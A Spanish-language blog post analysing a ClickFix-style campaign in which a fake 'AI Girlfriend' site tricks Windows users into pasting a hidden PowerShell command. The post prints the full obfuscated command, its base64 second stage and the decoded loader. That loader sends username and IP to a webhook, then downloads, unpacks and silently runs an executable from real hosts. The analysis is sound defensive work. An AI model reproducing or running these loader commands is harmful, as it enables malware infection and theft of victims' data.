Análisis de método de propagación de malware por medio de scripting malicioso

15 de abril de 2025 • fjbalon

Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anunciar una «IA», con toda la vacuidad con el que se suele usar el término, con el mensaje “Distant buoys nodded in quiet agreement”, sea lo que sea que signifique eso; y el anuncio para crear tu propia «AI Girlfriend». Desde luego tentador, ¿quién no querría una buena novIA?

Pero, ¿en qué consiste realmente está novia? He accedido a la web para comprobarlo. Este es su frontend:

No me he parado a ver el código HTML ni nada, no he visto si tiene estructura de contenido o si es una simple imagen siquiera. Lo que es cierto es que el sitio está lleno de código JavaScript; y al pinchar o hacer cualquier cosa con la página salta diretamente al siguiente “mensaje de error”:

Con unas instrucciones la mar de raras para cualquiera que utilice regularmente un ordenador... Da por hecho, evidentemente, que estás en Microsoft Windows (claro está, un usuario de GNU/Linux no caería en algo tan tonto, espero) y te pide que presiones Win+R para abrir la ventana de ejecutar comandos de Windows, Ctrl+V para pegar lo que previamente el script de JavaScript ha copiado en tu portapapeles, y presiones ejecutar.

La vista del comando a ejecutar es tiate forse restart browser. El comando más falso que he visto nunca, ese comando no existe, además de estar muy mal escrito. Vemos el contenido real que se iría a ejecutar; el comando entero que tenemos en el portapapeles:

cmd /c powershell -w hidden -c "$CHROME='i'+'e'+'x'; $SOCKET='i'+'w'+'r'; 
$UPLOAD='https:/'+'/kutt.i'+'t/ReSeT'; &($CHROME) ((&($SOCKET) $UPLOAD -UseBasicParsing).Content)"
#        Initiate forse restart browser

Esto es otra cosa, sí es un comando de verdad. Veamos qué hace:

cmd /c ejecuta un comando que consiste en lanza powershell -w hidden el intérprete de PowerShell (un equivalente, para que se me entienda, de Bash) en modo oculto, sin mostrar ventana visible. Tras -c se indica el comando. A partir de aquí se indica el script de PowerShell.

$UPLOAD='i'+'e'+'x' construye la cadena "iex", que es el alias de Invoke-Expression, un cmdlet que ejecuta una cadena como código; $CHROME='i'+'w'+'r' construye la cadena "iwr", alias de Invoke-WebRequest usado para hacer solicitued HTTP. $SOCKET='https:/'+'/kutt.i'+'t/ReSeT' construye la URL http://kutt.it/ReSeT.

Finalmente, hace la llamada que viene construyendo y declarando con &($UPLOAD) ((&($CHROME) $SOCKET -UseBasicParsing).Content), es decir, descarga y extrae el contenido de la respuesta HTTP de la URL y ejecuta el código usando Invoke-Expression.

# Initiate forse restart browser es simplemente un comentario de código, con el objetivo de aparecer en el campo de texto de la ventana de ejecución y engañar a los incautos.

El código que descarga es el siguiente:

$tFCTUeCs=[System.Text.Encoding]::Unicode; $YqMACnAc=[Convert]::FromBase64String
('JABiAHQAYQBnACAAPQAgACIAIwAxAFIAZQBzAGUAdAAiAAoAIwAgAEQAbwBVAEIAZQBDAGUAWgBRAGIAVQBlAE8AQgBOAGMACgAkAHQAZwBkACAAPQAgACIALQAxADAAMAAyADUAOQA3ADQAMAAxADMAMwA5ACIACgAkAGgAZAAgACAAPQAgACIAaAB0AHQAcABzADoALwAvAGgAawBkAGsALgBlAHYAZQBuAHQAcwAvADcAdAB2AG4ANABpAHEAcwAyADcAOABkAHEAbwAiAAoAJAB6AGwAIAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBkAGUAdgAuAGEAegB1AHIAZQAuAGMAbwBtAC8AZABvAHcAbgB1AHAAZAB0AGUAcwAvADAAYgBlADcAOQA3ADMANgAtADYAYwBhADkALQA0ADkAMQBiAC0AYgBlADIAMQAtADAAMAAxADUAOQAzAGUANAA4AGQAOAA4AC8AXwBhAHAAaQBzAC8AZwBpAHQALwByAGUAcABvAHMAaQB0AG8AcgBpAGUAcwAvAGIAYQAwADMAYQA1AGIANgAtADIAMgAyADEALQA0AGYAMAAwAC0AYQBkADEAMgAtADEAMQBmADkAZQBhAGEANwBhADkAYgBkAC8AaQB0AGUAbQBzAD8AcABhAHQAaAA9AC8AcgB1AG4ANAA3AC4AegBpAHAAJgB2AGUAcgBzAGkAbwBuAEQAZQBzAGMAcgBpAHAAdABvAHIAJQA1AEIAdgBlAHIAcwBpAG8AbgBPAHAAdABpAG8AbgBzACUANQBEAD0AMAAmAHYAZQByAHMAaQBvAG4ARABlAHMAYwByAGkAcAB0AG8AcgAlADUAQgB2AGUAcgBzAGkAbwBuAFQAeQBwAGUAJQA1AEQAPQAwACYAdgBlAHIAcwBpAG8AbgBEAGUAcwBjAHIAaQBwAHQAbwByACUANQBCAHYAZQByAHMAaQBvAG4AJQA1AEQAPQBtAGEAaQBuACYAcgBlAHMAbwBsAHYAZQBMAGYAcwA9AHQAcgB1AGUAJgAlADIANABmAG8AcgBtAGEAdAA9AG8AYwB0AGUAdABTAHQAcgBlAGEAbQAmAGEAcABpAC0AdgBlAHIAcwBpAG8AbgA9ADUALgAwACYAZABvAHcAbgBsAG8AYQBkAD0AdAByAHUAZQAiAAoAJABwAHoAIAAgAD0AIAAiAFEAdwBlAHEAdwBlADEAMgAzADEAMgAzACIACgAKAGYAdQBuAGMAdABpAG8AbgAgAHMAdABnACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABzACwACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAbQAKACAAIAAgACAAKQAKAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABpAHAAIAA9ACAAKABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwA/AGYAbwByAG0AYQB0AD0AagBzAG8AbgAiACkALgBpAHAACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAaQBwACAAPQAgACIAVQBuAGsAbgBvAHcAbgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAdQAgAD0AIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFAAoAIAAgACAAIAAkAHQAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAbwByAG0AYQB0ACAAcwApAAoAIAAgACAAIAAkAHQAeAB0ACAAPQAgACIAJABiAHQAYQBnAGAAbgBbACQAcwBdACAAJABtAGAAbgBVAHMAZQByADoAIAAkAHUAYABuAEkAUAA6ACAAJABpAHAAYABuAFQAaQBtAGUAOgAgACQAdAAiAAoACgAgACAAIAAgACQAYgAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAYwBoAGEAdABfAGkAZAAgAD0AIAAkAHQAZwBkAAoAIAAgACAAIAAgACAAIAAgAHQAZQB4AHQAIAAgACAAIAA9ACAAJAB0AHgAdAAKACAAIAAgACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAtAEQAZQBwAHQAaAAgADMACgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAGgAZAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAE0AZQB0AGgAbwBkACAAUABPAFMAVAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAIAA9ACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAB9ACAAYAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC0AQgBvAGQAeQAgACQAYgAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKAH0ACgAKAHQAcgB5ACAAewAKACAAIAAgACAAJABiAGYAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE4AVgBJAEQASQBBAFwAVQBwAGQAYQB0AGUAUwBlAHIAdgBpAGMAZQAiAAoAIAAgACAAIAAkAG0AYQAgAD0AIAAzAAoAIAAgACAAIAAkAGQAIAA9ACAAJABmAGEAbABzAGUACgAKACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAxADsAIAAkAGkAIAAtAGwAZQAgACQAbQBhADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgACsAIAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAAoAIAAgACAAIAAgACAAIAAgACQAdABmACAAPQAgACIAJABiAGYAXABUACQAcgAiAAoAIAAgACAAIAAgACAAIAAgACQAegBwACAAPQAgACIAJAB0AGYAXAB6AC4AegBpAHAAIgAKACAAIAAgACAAIAAgACAAIAAkAGUAcAAgAD0AIAAiACQAdABmAFwAYwAiAAoACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdABmACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAHQAZgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAZQBwACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAHYAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAE4ARQBUACAARgByAGEAbQBlAHcAbwByAGsAIABTAGUAdAB1AHAAXABOAEQAUABcAHYANABcAEYAdQBsAGwAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUgBlAGwAZQBhAHMAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABuAHYAIAAtAGEAbgBkACAAJABuAHYAIAAtAGcAZQAgADMANwA4ADMAOAA5ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAIgBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASAB0AHQAcABDAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACkACgAjACAAYwBYAFEAcQB5AFgARQBIAGgATgBNAEsARwBkAHUARgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAGwALgBEAGUAZgBhAHUAbAB0AFIAZQBxAHUAZQBzAHQASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAHMAIAA9ACAAJABjAGwALgBHAGUAdABCAHkAdABlAEEAcgByAGEAeQBBAHMAeQBuAGMAKAAkAHoAbAApAC4AUgBlAHMAdQBsAHQACgAjACAAbwByAFMATgBCAGcAcwBGAEUAVgBLAHYATABIAHIAWAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAegBwACwAIAAkAGIAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIAAiAE0AbwB6AGkAbABsAGEALwA1AC4AMAAiACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHoAbAAsACAAJAB6AHAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAcAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYgByAGUAYQBrAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAGQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBaAEkAUAAgAGQAbwB3AG4AbABvAGEAZAAgAGYAYQBpAGwAZQBkACIACgAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAKACAAIAAgACAAfQAKAAoAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBGAGkAbABlAFMAeQBzAHQAZQBtAAoAIAAgACAAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAFoAaQBwAEYAaQBsAGUAXQA6ADoARQB4AHQAcgBhAGMAdABUAG8ARABpAHIAZQBjAHQAbwByAHkAKAAkAHoAcAAsACAAJAB0AGYAKQAKAAoAIAAgACAAIAAkAHMANwAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJAB0AGYAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAaQBsAHQAZQByACAAIgA3AHoAcgAuAGUAeABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAJABhADcAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdABmACAALQBSAGUAYwB1AHIAcwBlACAALQBGAGkAbAB0AGUAcgAgACIAKgAuADcAegAiACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABzADcAIAAtAG8AcgAgAC0AbgBvAHQAIAAkAGEANwApACAAewAKACAAIAAgACAAIAAgACAAIABzAHQAZwAgACIARQBSAFIATwBSACIAIAAiADcAegAgAG8AcgAgAGUAeAB0AHIAYQBjAHQAbwByACAAbgBvAHQAIABmAG8AdQBuAGQAIgAKACAAIAAgACAAIAAgACAAIABlAHgAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwA3AC4ARgB1AGwAbABOAGEAbQBlACAAYAAKACAAIAAgACAAIAAgACAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgB4ACIALAAgACIAYAAiACQAKAAkAGEANwAuAEYAdQBsAGwATgBhAG0AZQApAGAAIgAiACwAIAAiAC0AbwAkAGUAcAAiACwAIAAiAC0AcAAkAHAAegAiACwAIAAiAC0AeQAiACAAYAAKACAAIAAgACAAIAAgACAAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0AAoACgAgACAAIAAgACQAZQB4ACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAcAAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBpAGwAdABlAHIAIAAqAC4AZQB4AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBOAG8AIAAuAGUAeABlACAAZgBvAHUAbgBkACAAYQBmAHQAZQByACAAZQB4AHQAcgBhAGMAdABpAG8AbgAiAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQACgAgACAAIAAgAH0ACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAHgALgBGAHUAbABsAE4AYQBtAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoACgAgACAAIAAgAHMAdABnACAAIgBTAFUAQwBDAEUAUwBTACIAIAAiACIACgB9AAoAYwBhAHQAYwBoACAAewAKACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBVAG4AZQB4AHAAZQBjAHQAZQBkACAAZgBhAGkAbAB1AHIAZQAiAAoAfQA='); 
Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))

El código es un script de PowerShell ofuscado, por lo que lo primero que hace es indicar cómo decodificarlo.

El tipo de codificación es Unicode como vemos en $tFCTUeCs=[System.Text.Encoding]::Unicode, la cadena codificada en Base64 está en $YqMACnAc=[Convert]::FromBase64String(...) y la orden Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc})) decodifica la cadena Base64 a texto Unicode, después la ejecuta como código PowerShell.

Al decodificar la cadena en la terminal con:

echo $CADENA | base64 -d

Obtenemos el script malicioso de PowerShell:

$btag = "#1ReSeT"
# DoUBCeZQBVeOBNc
$tgd = "-1002597401339"
$hd = "https://hkdk.events/7tvn4iqs278dqo"
$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"
$pz = "Qweqwe123123"

function stg {
    param (
        [string]$s,
        [string]$m
    )

    try {
        $ip = (Invoke-RestMethod -Uri "https://api.ipify.org?format=json").ip
    } catch {
        $ip = "Unknown"
    }

    $u = $env:USERNAME
    $t = (Get-Date -Format s)
    $txt = "$btag`n[$s] $m`nUser: $u`nIP: $ip`nTime: $t"

    $b = @{
        chat_id = $tgd
        text = $txt
    } | ConvertTo-Json -Depth 3

    try {
        Invoke-RestMethod -Uri $hd `
            -Method POST `
            -Headers @{ "Content-Type" = "application/json" } `
            -Body $b | Out-Null
    } catch {}
}

try {
    $bf = "$env:APPDATA\NVIDIA\UpdateService"
    $ma = 3
    $d = $false

    for ($i = 1; $i -le $ma; $i++) {
        $r = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 5 | % {[char]$_})
        $tf = "$bf\T$r"
        $zp = "$tf\z.zip"
        $ep = "$tf\c"

        try {
            if (-not (Test-Path $tf)) {
                New-Item -ItemType Directory -Path $tf -Force | Out-Null
                New-Item -ItemType Directory -Path $ep -Force | Out-Null
            }

            $nv = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -ErrorAction SilentlyContinue).Release
            if ($nv -and $nv -ge 378389) {
                Add-Type -AssemblyName "System.Net.Http"
                $cl = [System.Net.Http.HttpClient]::new()
                $cl.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0")
                $bs = $cl.GetByteArrayAsync($zl).Result
                [System.IO.File]::WriteAllBytes($zp, $bs)
            } else {
                $wc = New-Object System.Net.WebClient
                $wc.Headers.Add("User-Agent", "Mozilla/5.0")
                $wc.DownloadFile($zl, $zp)
            }

            if (Test-Path $zp) {
                $d = $true
                break
            }
        } catch {
            Start-Sleep -Seconds 1
        }
    }

    if (-not $d) {
        stg "ERROR" "ZIP download failed"
        exit
    }

    Add-Type -AssemblyName System.IO.Compression.FileSystem
    [IO.Compression.ZipFile]::ExtractToDirectory($zp, $tf)

    $s7 = Get-ChildItem -Path $tf -Recurse -Filter "7zr.exe" | Select-Object -First 1
    $a7 = Get-ChildItem -Path $tf -Recurse -Filter "*.7z" | Select-Object -First 1

    if (-not $s7 -or -not $a7) {
        stg "ERROR" "7z or extractor not found"
        exit
    }

    Start-Process -FilePath $s7.FullName `
        -ArgumentList "x", "`"$($a7.FullName)`"", "-o$ep", "-p$pz", "-y" `
        -WindowStyle Hidden -Wait

    $ex = Get-ChildItem -Path $ep -Recurse -Filter *.exe | Select-Object -First 1
    if (-not $ex) {
        stg "ERROR" "No .exe found after extraction"
        exit
    }

    Start-Process -FilePath $ex.FullName -WindowStyle Hidden

    stg "SUCCESS" ""
}
catch {
    stg "ERROR" "Unexpected failure"
}

No voy a detallar línea a línea porque sería un trabajo bastante tedioso, pero realizaré una lectura vertical. Para empezar, variables de interés:

Después, la función stg recolecta informción del sistema, obtiene la dirección IP pública mediante una llamada a api.ipify.org, obtiene el nombre de usuario ($env:USERNAME) y la fecha y hora, contruye un mensaje con $btag y la información anterior y, finalmente, envía esta información como JSON a la URL del servidor de control mediante POST.

A continuación define el directorio %APPDATA%\NVIDIA\UpdateService y genera un nombre aleatorio para una subcarpeta, descarga el zip run47.zip de Azure usando e un HttpClient o WebClient, dependiendo de la versión de .NET que tenga la víctima y lo extrae en el directorio definido. No estoy entrando en cada bucle ni control de errores, ya que lo creo irrelevante para la entrada.

Una vez extraídos, ejecuta 7zr.exe para extraer el 7z contenido en los archivos extraídos del zip; usando además la contraseña declarada en las variables. Después invoca un ejecutable (.exe).

Conocer el propósito del ejecutable es más difícil, habría que ejecutar técnicas de ingeniería inversa para averiguar qué hace, pero podría hacer cualquier cosa: ransomware, troyano, software espía, minero de criptomonedas... Quizá si tenga tiempo me aventiure a montar una máquina virtual aislada con Windows para ejecutarlo y ver qué hace. O analizar el exe a ver si podemos averiguar parte del código y poder deducirlo.

Desde luego, nunca dejará de sorprenderme la capacidad y el ingenio humano para el transmitir elementos maliciosos, y como decía, lo peor es que todo este procedimiento de scripting es únicamente para descargar y ejecutar el malware. Es decir, ni si quiera hemos tocado la superficie del malware, sólo su método de infección y propagación.

El tweet ya ha sido eliminado, pero de su eliminación he podido ver que tenía casi 100.000 visualizaciones, es decir, 100.000 de potenciales víctimas; y sólo ha estado publicado 2 horas por una cuenta de unos 50 seguidores. Imagínense las campañas que cuenten con más recursos.